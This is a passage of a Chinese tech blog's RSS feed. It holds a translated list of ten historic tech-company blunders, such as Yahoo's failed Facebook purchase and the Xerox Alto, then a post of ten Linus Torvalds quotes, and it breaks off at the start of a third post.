Facebook</h2>\n<p>2006年，当时只有2年的Facebook还在只服务于一些学校内的社交网络。那个时候的MySpace就拥有了1亿用户，完全超过了Facebook的8百万用户。所以，当 <a href=\"http://www.wired.com/techbiz/startups/news/2007/09/ff_facebook\" target=\"_blank\">Yahoo 提出使用10亿美金购买 Mark Zuckerberg 的孩子</a> 时（其将近 <a href=\"http://www.newscorp.com/news/news_251.html\" target=\"_blank\">2005年 Rupert Murdoch 收购 MySpace 金额的两倍</a>）人们都对说Fackbook的老大说，“Take the money and run, Mark。”，事实上，时年23岁的扎克伯格也的确于2006年6月与雅虎达成了协议。</p>\n<p><span id=\"more-1295\"></span></p>\n<p>然后，Yahoo发布了一些其糟糕的财政报告后，它的股价在一晚上就下跌了22%，当时Yahoo的CEO， Terry Semel，把购买价格下调到了8亿美金来购买Facebook，但被Mark Zuckerberg 拒绝，两个月后，Terry Semel 把收购价格提高到10亿美金，但那时已经太晚了。</p>\n<p>今天，Facebook已经扩大到了2亿5千万的注册用户，并且，它目前 <a href=\"https://coolshell.cn/article/165524/update_facebook_gets_200_million_in_cash.html\">值大约从 50亿美金 到100亿美金间的一个价格</a> （主要看谁来计算） 。而我们的Yahoo三年过去了，换了两个CEO，今天还在生存线上挣扎。</p>\n<p> </p>\n<h2>2. Real Networks 丢弃 iPod</h2>\n<p><img decoding=\"async\" class=\"alignright\" src=\"http://images.pcworld.com/news/graphics/170337-tonyfadell-applebiopic_180.jpg\" alt=\"Tony Fadell, inventor of the iPod\" />人们以为Steve Jobs 发明了iPod，但实际他没有，这是真的。Steve Jobs 只不过对一个因为<a href=\"http://www.historyofthings.com/history-of-the-ipod\" target=\"_blank\">Real Network没有采纳想法</a>的而离职的工程师Tony Fadell 说了“Yes”，而这个想法就是2000年秋天的一种全新音乐播放器（Tony Fadell 以前的同事 Philips 同样拒绝了Tony的这个新想法）。</p>\n<p>虽然 MP3 播放器已经出现很多看了，但是 <a href=\"https://coolshell.cn/article/167123-4/fathers_of_technology_10_unsung_heroes.html\">Fadell 的理念</a> 有一些小小的不同，他注重的是：更小，更精巧，并且专注于一个音乐的内容系统，这样，能够让音乐爱好者们很容易的填满他们的播放器——“pods” （Steve Jobs 则是最著名的驱动 iPod设计的人）</p>\n<p>今天，那个专注于音乐内容的系统叫iTunes，并且，Apple公司控制了80%的数字音乐的市场。 Fadell 在Apple的 iPod 事业部工作，不过最终于2008年11月离开了那里。Real Networks 今天还在继续他的流媒体，但它的利润已被被iTunes冲得肢离破碎了。（照片是Tony Fadell)</p>\n<h2>3. 索尼和东芝HD 的纷争</h2>\n<p><span><img decoding=\"async\" class=\"alignleft\" src=\"http://images.pcworld.com/news/graphics/170337-blu-ray_disc2_180.jpg\" alt=\"HD DVD versus Blu-ray\" />为了争夺一个新的 <a href=\"https://coolshell.cn/article/142584/hd_dvd_vs_bluray_disc_a_history.html\">高清晰光盘标准</a>，几年来，在格式上的这场争夺战中，参与者各方已付出了很昂贵的成本。在拳击台上的一角落里，站着Sony支持的蓝光</span>（Blu-ray），而另一个角落，站着Toshiba支持的 HD DVD。</p>\n<p>自从2002 开始，双方就开始争夺不休，各自的所签署的联盟阵营也只支持自己的互不兼容的格式。在2008 年，Sony 的刀刃插入了Toshiba的胸膛，让Toshiba停止了HD DVD的生产，2009年8月12日宣布正式加入蓝光阵营，Toshiba 反而成了蓝光这边最大的一个支持者之一， <a href=\"http://blogs.pcworld.com/staffblog/archives/006159.html\">华纳兄弟也花费了4亿美金宣布放弃HD DVD并加入蓝光阵营</a>。</p>\n<p>有趣的是，在上世纪90年代中期，这对冤家同样为电影的HR格式争斗，那个时候，当时双方搁置争议，把两边的最好的东西整合起来，成为了一个叫做 Digital Versatile Disc的东西，被人们简称DVD。</p>\n<p>这样一个事情，让多年参与HD格式之争的公司门损失惨重。如果在2002年，两边联手，HD光盘可能会在今天的电影和电视节目光盘中占有统治地位，然而，双方的争斗导致了成本的上升，和在市场上错失良机，今天，DVD卖得比蓝光还要多，基本上是10:1的样子，但是未来将会属于流媒体的视频点播。</p>\n<h2>4. Digital Research：另一个Microsoft</h2>\n<p><span><img decoding=\"async\" class=\"alignright\" src=\"http://images.pcworld.com/news/graphics/170337-kildalltradingcard_180.jpg\" alt=\"Gary Kildall, Digital Research\" />这是一个经典案例。在</span> 1980 年，当时的IBM正在寻找一些人为IBM的PC机做一个操作系统，当时的 Microsoft 并不是第一选择。当初的比尔·盖茨(Bill Gates)建议IBM与Digital Research的加里·基尔代尔(Gary Kildall)合作，后者也是 CP/M 操作系统的作者。</p>\n<p>传说，Kildall甩了IBM要单飞。但实际上是kildall接了另一个客户的订单去做另一个产品，仅让他自己的妻子和IBM谈判。 <a href=\"http://www.cadigital.com/kildall.htm\" target=\"_blank\">Dorothy Kildall ——他的妻子并不喜欢IBM的一些条款</a>，所以和IBM的合作也流产了。</p>\n<p>蓝色巨人只好回头找了Bill Gates和他的搭档Paul Allen，他们开发了MS-DOS，这是基于 Tim Paterson 的 QDOS （全称是the Quick and Dirty Operating System）, QDOS则是基于Gary Kildall的CP/M操作系统。 最后IBM提供了 Microsoft 的 DOS (售价$60) 和某版本的CP/M (售价$240) 给IBM PC的买家做选择，最后，便宜的产品获得了胜利。</p>\n<p>在DOS以前，Microsoft 最大的产品是 BASIC 编程工具。而在 DOS以后，是的，你知道这个公司干了什么。Microsoft 今天的成就是否和IBM的那个合同有关？我们永远也无法知道。也许，像Bill这样的人始终都能把握住这样的机会，而Gary则不能。</p>\n<h2>5. Xerox 错失 Alto 良机</h2>\n<p><span><img decoding=\"async\" class=\"alignright\" src=\"http://images.pcworld.com/news/graphics/170337-xerox_alto-wikimeda_180.jpg\" alt=\"The Xerox Alto (Courtesy of Wikimedia)\" />这也是另一个经典的故事。二十年前，在</span>Macintosh 和Windows PC之前，甚至在MITS Altair之前，已经存于 Alto，这是这个世界上第一个基于窗口图形界面的电脑（关于图形化的操作系统，大家可以看看这篇文章《<a title=\"操作系统图形界面发展史(1981-2009) - 1,632 次浏览\" href=\"https://coolshell.cn/articles/105.html\">操作系统图形界面发展史(1981-2009)</a>》）， 由<a href=\"https://coolshell.cn/article/115194/meet_the_movers_behind_the_first_pc.html\">Xerox PARC</a>发明， Alto 有鼠标，支持以太网络，以及所见即所得的WYSIWYG文本处理器。</p>\n<p>但是1973 年的“个人电脑”市场并不存在，所以 Xerox 并不知道Alto的潜力，也不知道如何处理它。这个公司制造了几千个这要电脑并把它们分发到了各个大学中。江湖上传闻，1979年的时候，当 Steve Jobs 参观Xerox PARC的时候，看到了Alto，回去后，把那些 <a href=\"https://coolshell.cn/article/114418/the_mac_turns_20.html\">许许多多的 Alto 的特性</a> 集成到了 Apple 的 Lisa 和Mac 电脑上。从那以后， Xerox 终于意识到了它的错误，然后把开始了 Xerox Star 的市场营销，Xerox Star是一个图形工作站，其基于Alto的技术。但是已经太晚了，太晚了。</p>\n<p> </p>\n<h2>6. 唱片业的一错再错</h2>\n<p><span><img decoding=\"async\" class=\"alignright\" src=\"http://images.pcworld.com/news/graphics/170337-napster-logo-1999_180.jpg\" alt=\"Napster logo\" /></span>也许，没有哪个产业比音乐产业更能错过机会。</p>\n<p>在1999年，Shawn Fanning 的 Napster 创造了一个难以置信的一个让大容易共享音乐的在线平台。然后， <a href=\"https://coolshell.cn/article/17839/judge_in_napster_case_finds_in_favor_of_music_companies.html\">唱片公司们开始集体控诉Napster</a> ，侵害了他们的版权。然后，Napster 的 CEO Hank Barry 提倡音乐产业 <a href=\"http://iml.jou.ufl.edu/projects/Spring01/Burkhalter/hank's%20statement.html\" target=\"_blank\">采用那种电台广播的许可证协议</a> ，对通过网络传播音乐的人征收版税，可是他的这个倡议遇到了聋子的耳朵——无人响应。</p>\n<p>于是，Napster 的粉丝们非常快地跑到了其它的P2P的文件共享网络，如Gnutella 和Grokster，于是盗版音乐也成了RIAA（<span>美国唱片业协会</span>）的头号敌人。</p>\n<p>在2000年，MP3.com 启动了一个服务可以允许会员们上传歌曲到自己的私有的CD收集中，并且可以以流的方式传播到每一个PC上。再次， <a href=\"https://coolshell.cn/article/35165/mp3com_faces_new_litigation_days_after_settlement.html\">唱片行业控告 MP3.com 侵权</a>， 最终导致了 MP3.com 被迫出售，并被迫更改了其商业模式。</p>\n<p>再加上 <a href=\"https://coolshell.cn/article/64546/filesharing_services_sued.html\">RIAA 对 Grokster, Morpheus,</a> Kazaa, 和其它30,000 盗版单曲的指控，其它唱片行业损失了很多商业机会。</p>\n<p>当然，今天的音乐订阅业务和流媒体服务，诸如 Pandora 支配了数字音乐界，唱片公司也开始和网络公司签了协议。试想一样，如果唱片公司们和 Napster， MP3.com，或是其它一些网络共享者合作，而不是去指控他们，也许，这些唱片公司今天将会控制着数字音乐——而且不会有任何盗版的问题。</p>\n<h2>7. Compuserve 错过了主宰网络的机会</h2>\n<p><span><img decoding=\"async\" class=\"alignright\" src=\"http://images.pcworld.com/news/graphics/170337-compuservepin-comdex1995_180.jpg\" alt=\"CompuServe logo\" />看看今天的交互式应用，社区媒体式的，用户原创内容驱动式的（UGC），你看到了什么？一个1994年几乎完美版本的</span> CompuServe。但是，几乎主宰在线世界的 CompuServe 的屁股被AOL仅以AOL有500亿的免费CD踢得开了花。</p>\n<p>在上世纪90年代初， Compuserve Information Service 有着“令人难以置信的优势：一个坚定的客户基础，难以置信的对客户的使用模式分析的数据，一个难以复制的知识仓库，几乎没有竞争的环境”， Kip Gregory，一个管理顾问， <a href=\"http://www.winningclients.com/\" target=\"_blank\">Winning Clients in a Wired World</a> 一书的作者，说，“可能缺少的是……把这些优势都转变成可持续的领先的投入”。</p>\n<p>于是，AOL 来了，提供了一种“不限时的”统一费用，而 CompuServe 则是按小时充值，AOL提供了一个简单的界面，以及大规模，地毯式轰炸营销活动——为每位用户提供一张免费的CD。在CompuServe论坛上早期出现的组织纷纷转到了AOL的Web上，而CompuServe论坛对Web支持的不是很好。1997年，<a href=\"https://coolshell.cn/article/4512/aol_buying_compuserve_users_voice_opinions_about_possible_takeover.html\">AOL 获得了 CompuServe</a>, 并且，<a href=\"https://coolshell.cn/businesscenter/article/167903/farewell_compuserve_rip.html\">&#8220;CompuServe classic&#8221; 服务最终在同年6月安息了</a> 。</p>\n<p>CompuServe 失败不是错过了一个机会，而是错过了一堆， Gregory说，“我真的相信 CompuServe是一个非常重要的示例，这也是一个非常重要的教训——永远不要因为优势就裹足不前”。</p>\n<h2>8. 报业错过网络分类广告业务&#8211;Craigslist</h2>\n<p><span><img decoding=\"async\" class=\"alignright\" src=\"http://images.pcworld.com/news/graphics/170337-craigslist_180.jpg\" alt=\"Craigslist.org\" />报纸正在死亡，并且，几乎的所有的帐户（当然，所有的报纸帐户），</span> Craigslist 的的触角却延伸到各个地方的触角却延伸到各个地方，甚至可以在所有的犯罪现场被找到。 大家认为报纸的衰落是因为在线的免费的分类广告服务，这让很多行业的利润都极大的缩水，其中一个就是新闻报纸行业的那些“现金牛”(指现金净收入极大的项目,如沃尔玛超市)。</p>\n<p>2005年，全美报业分类广告的年收入总额为173亿美元。。从那以后，像Craigslist 这样使用分类广告的网站（如：Amazon, eBay, 和Google）几乎番了一番，根据 <a href=\"http://pewinternet.org/Reports/2009/7--Online-Classifieds.aspx?r=1\" target=\"_blank\">Pew研究中心</a>的报告，报业的分类广告的利润却减少了一半。</p>\n<p>如果回到2005年，那段报业分类广告利润很高的时候，如果某个报业集团收买了Craigslist，那么今天可能会非常地不一样。当然，首先他们将不得不说服Craigslist的创始人Craig Newmark出售。</p>\n<p>在<a href=\"https://coolshell.cn/article/141991/craigslist_founder_talks_about_open_source_banner_ads.html\">2008 年1月InfoWorld的采访中</a>，Newmark 说他的公司的角色在报纸行业瓦解中被报纸行业大大地夸大了，“我认为报纸最大的问题是需要去检查他们自己”他注解道。</p>\n<h2>9. Google 之前的 Google</h2>\n<p><span><img decoding=\"async\" class=\"alignright\" src=\"http://images.pcworld.com/news/graphics/170337-opentextlogo2009_180.gif\" alt=\"Open Text, an early search engine\" />在上世纪90年代中期，最热的搜索引擎不是Yahoo，不是</span> Alta Vista，不是 Lycos，也不是 Hot Wired，而是Open Text Web 索引。它和今天的Google 非常像，Open Text 以其速度，准确性和全面性著称，这个搜索引擎于1995 年由Open Text 公司宣称，其<a href=\"http://www.allbusiness.com/technology/software-services-applications-search-engines/7135767-1.html\" target=\"_blank\">索引了当时Web上大约5百万个页面上的每一个单词 </a>。那年 Yahoo 在其目录中集成了Open Text 的搜索技术。</p>\n<p>但是其和Yahoo合作两看后， Open Text 放弃了搜索而转移到企业级的内容管理方向上。一年以后，<a href=\"http://www.google.com/corporate/history.html\" target=\"_blank\">Google 才初次登场</a>。Open Text又是和机遇错过了，没有意识到搜索会变得有多大。</p>\n<p>“如果 Open Text 有什么事是比较特殊的，那就是他们比任何人都有和Google很相近的技术”， Steve Parker（一个帮助Yahoo启动Open Text搜索技术的通讯顾问）说， “它比Google早三年进入市场，所以Google不得不为了以更快的速度发展而使劲烧钱，并且，Google也不一定有足够的时间去成为市场的领导者。如果当初不是那样，也许，今天的山大王将会是Open Text ”。</p>\n<h2>10. Microsoft 拯救正在腐烂的苹果</h2>\n<p><span><img decoding=\"async\" class=\"alignright\" src=\"http://images.pcworld.com/news/graphics/170219-apple_old_logo_original.jpg\" alt=\"Early Apple logo\" />10年前，当Apple正处理严重的危机中。</span> Mac 的销售正在被Power Computing 和 Radius更便宜的山寨机复制时。整个公司动作在非常低的现金流中，苹果的股票跌到每股$5，并且，他们正在寻找新的CEO来取代 Gil Amelio。</p>\n<p>后来，Apple 收到了一大笔急需的现金注入——1亿5千万美金——从一个看上去不可能的源头： <a href=\"https://coolshell.cn/article/5156/microsoft_to_invest_in_apple_jobs_ellison_on_board.html\">Microsoft，还承诺继续开发Mac Office 套件</a>。这个交易由Apple的顾问Steve Jobs 和Microsoft商议而成，这一宣布曾经在Macworld Expo 博览会上被苹果的铁杆粉丝们暴以嘘声。这后，Steve Jobs成为了Apple的实习CEO。后面，我们都知道发生了什么。</p>\n<p>如果Microsoft 当时没有 <a href=\"https://coolshell.cn/businesscenter/article/169752/1997_steve_jobs_was_wrong_and_microsoft_saved_apple.html\">错过让苹果凋谢的这个机会</a>？我们可能会要在WinPhones上使用WinTunes而苦苦挣扎。在线的音乐和视频可能会停滞，或是更坏，被好莱坞控制着。而且，我们会因为没有Windows的另一个选择而长期地失望下去。这恐怕是唯一一个大家受益的“失误”了。</p>\n<p style=\"TEXT-ALIGN: center\"><img decoding=\"async\" src=\"http://images.pcworld.com/news/graphics/170337-youngstevejobs_original.jpg\" alt=\"A young Steve Jobs\" />   <br />\n年青的Steve Jobs</p>\n<p>文章：<a href=\"http://www.pcworld.com/article/170337/the_10_stupidest_tech_company_blunders.html\" target=\"_blank\">来源</a>（PCWorld）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/11629.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"「我只是认真」聊聊工匠情怀\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11629.html\" class=\"wp_rp_title\">「我只是认真」聊聊工匠情怀</a></li><li ><a href=\"https://coolshell.cn/articles/559.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"菜鸟学PHP之Smarty入门\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/559.html\" class=\"wp_rp_title\">菜鸟学PHP之Smarty入门</a></li><li ><a href=\"https://coolshell.cn/articles/22422.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/05/monolith.microservices-150x150.png\" alt=\"是微服务架构不香还是云不香？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22422.html\" class=\"wp_rp_title\">是微服务架构不香还是云不香？</a></li><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li><li ><a href=\"https://coolshell.cn/articles/2492.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" alt=\"WTF Javascript\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2492.html\" class=\"wp_rp_title\">WTF Javascript</a></li><li ><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/11/Learn-Python-The-Hard-Way-150x150.jpg\" alt=\"两本电子书\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3270.html\" class=\"wp_rp_title\">两本电子书</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1295.html\">科技公司十大最愚蠢的错误</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1295.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>8</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Linus Torvalds 语录 Top 10</title>\n\t\t<link>https://coolshell.cn/articles/1278.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1278.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 16 Aug 2009 06:56:25 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Linus Torvalds]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1278</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面是Linux的创始人Linus Torvalds的一些言论，这是我个人认为最有意思的10句。如果你想看更多的Linus Torvalds说过的话，你可以看看...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1278.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1278.html\">Linus Torvalds 语录 Top 10</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" title=\"linus torvalds\" src=\"https://coolshell.cn/wp-content/uploads/2009/08/linus_torvalds_talking.jpg\" alt=\"linus torvalds\" width=\"144\" height=\"218\" />下面是Linux的创始人Linus Torvalds的一些言论，这是我个人认为最有意思的10句。如果你想看更多的Linus Torvalds说过的话，你可以看看他在维基百科上的词条：<a href=\"http://en.wikiquote.org/wiki/Linus_Torvalds\" target=\"_blank\">Linux Torvalds</a>。我们在下面给出中英文对照，希望你能喜欢。</p>\n<blockquote><p>“Really, I’m not out to destroy Microsoft. That will just be a completely unintentional side effect ” （真的，我并不是想要干掉Microsoft，如果真是那样了，那完全是一个无意的副作用）——&#8221;The Way We Live Now: Questions for Linus Torvalds&#8221;, 接受《New York Times》的采访， 2003-09-28.</p></blockquote>\n<blockquote><p>“Only wimps use tape backup: _real_ men just upload their important stuff on ftp, and let the rest of the world mirror it”（只有愚昧的人才会用磁带来做备份，真正聪明的人会上传他们最重要的东西到FTP服务器上，而剩下事情是，让世界各地的人来镜像这些东西）——(1996-07-20). <a title=\"http://groups.google.com/groups?selm=Pine.LNX.3.91.960720095713.20645F-100000%40linux.cs.Helsinki.FI\" rel=\"nofollow\" href=\"http://groups.google.com/groups?selm=Pine.LNX.3.91.960720095713.20645F-100000%40linux.cs.Helsinki.FI\">在linux.dev.kernel 新闻组上的一个贴子</a></p></blockquote>\n<p><span id=\"more-1278\"></span></p>\n<blockquote><p>“Software is like sex; it’s better when it’s free.” （软件就像是性一样，仅当是自由的时候才会更好）—— 1996 的FSF 大会， <a title=\"http://www.argentilinux.com.ar/doku.php/linux_videos_documentales:the_code_linux\" rel=\"nofollow\" href=\"http://www.argentilinux.com.ar/doku.php/linux_videos_documentales:the_code_linux\">相关视频</a>。</p></blockquote>\n<blockquote><p>“Is “I hope you all die a painful death” too strong?”（“我希望你们所有人在痛苦中死去”这句话是不是太强硬啦？）——这句话是，Linus是在拒绝某些硬件产商想在Linux的内核中植入特定的硬件处理程序，对那些硬件产商说的。</p></blockquote>\n<blockquote><p>“Most days I wake up thinking I’m the luckiest bastard alive.”（很多天当我醒来的时候，我想到我是世界上最幸运的还活着的混蛋）—— <cite id=\"CITEREFTorvalds.2C_Linus_and_David_Diamond2001\" style=\"font-style: normal;\">Linus  <cite id=\"CITEREFTorvalds.2C_Linus_and_David_Diamond2001\" style=\"font-style: normal;\">Torvalds </cite>和David Diamond (2001). <em>Just for Fun: The Story of an Accidental Revolutionary.</em></cite></p></blockquote>\n<blockquote><p>“An infinite number of monkeys typing into GNU emacs would never make a good program.” （即使是无穷多个猴子在GNU的emacs中输入东西，那也不会写出一段好的程序）—— 出自 <a title=\"http://www.linuxhq.com/kernel/v1.3/53/Documentation/CodingStyle\" rel=\"nofollow\" href=\"http://www.linuxhq.com/kernel/v1.3/53/Documentation/CodingStyle\">Linux 1.3.53 编程风格</a></p></blockquote>\n<blockquote><p>“Talk is cheap. Show me the code.”（能说算不上什么，有本事就把你的代码给我看看）—— 2000-08-25， <a title=\"http://lkml.org/lkml/2000/8/25/132\" rel=\"nofollow\" href=\"http://lkml.org/lkml/2000/8/25/132\">给linux-kernel 邮件列表的一封邮件</a></p></blockquote>\n<blockquote><p>“I’m a bastard. I have absolutely no clue why people can ever think otherwise. Yet they do. People think I’m a nice guy, and the fact is that I’m a scheming, conniving bastard who doesn’t care for any hurt feelings or lost hours of work, if it just results in what I consider to be a better system. And I’m not just saying that. I’m really not a very nice person. I can say “I don’t care” with a straight face, and really mean it.” （我是一个混蛋。我完全不知道人们为什么会从另外一个角度来看我，但是他们确实是（那么做的）。人们认为我是个好人，但事实上我是个诡计多端的混蛋，只要最终能得到我所认为的更好的系统，那么我对任何感情的伤害或工作时间的损失都不在乎。我并不只是（在口头上）说说而已，我真的不是一个很好的人。我能面无表情地说“我不在乎”，而且我确实不在乎。）—— 2000-09-06，<a title=\"http://lkml.org/lkml/2000/9/6/65\" rel=\"nofollow\" href=\"http://lkml.org/lkml/2000/9/6/65\">给 linux-kernel 邮件列表的邮件</a></p></blockquote>\n<blockquote><p>“Those that can, do. Those that can’t, complain.”（那些能做的人就做，不能做的人就只会抱怨）——2003-09-23， <a title=\"http://kerneltrap.org/node/901\" rel=\"nofollow\" href=\"http://kerneltrap.org/node/901\">给Linux Kernel 邮件列表</a> （注意：Linus只是借用了一下这个句型，这个引言的原创在<a href=\"http://shlomif.livejournal.com/39215.html\" target=\"_blank\">这里</a>）</p></blockquote>\n<blockquote><p>“You see. I don’t think any new thoughts. I think thoughts that other people have thought, and I rearrange them. But Sara, she thinks thoughts that never were before.”（您看，我没有任何新的想法。我的想法都是别人已经想过的，而我只是去重新组织一下别人的想法。但是莎拉不一样，她的想法是从来没有人想过的）—— 这是Linus给和他的母亲说起他的姐姐Sara。</p></blockquote>\n<p>维基百科上的“<a href=\"http://en.wikiquote.org/wiki/Linus_Torvalds\" target=\"_blank\">Linus Torvald 词条</a>”上有很多他的语录，你不妨去看看，你喜欢哪些呢？<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9917.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"Alan Cox：大教堂、市集与市议会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9917.html\" class=\"wp_rp_title\">Alan Cox：大教堂、市集与市议会</a></li><li ><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-150x150.jpg\" alt=\"Linus：利用二级指针删除单向链表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8990.html\" class=\"wp_rp_title\">Linus：利用二级指针删除单向链表</a></li><li ><a href=\"https://coolshell.cn/articles/2322.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg\" alt=\"Unix传奇(上篇)\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2322.html\" class=\"wp_rp_title\">Unix传奇(上篇)</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1278.html\">Linus Torvalds 语录 Top 10</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1278.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>40</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Linux基金会的广告</title>\n\t\t<link>https://coolshell.cn/articles/1283.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1283.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 16 Aug 2009 06:00:48 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[广告]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1283</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>今年早些时候，Linux基金会发起了一项面向制作人和一般Linux爱好者的活动，创造60秒创意的广告并评奖。 Linux基金会并没有苹果和微软这样大的投入来聘请...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1283.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1283.html\">Linux基金会的广告</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async 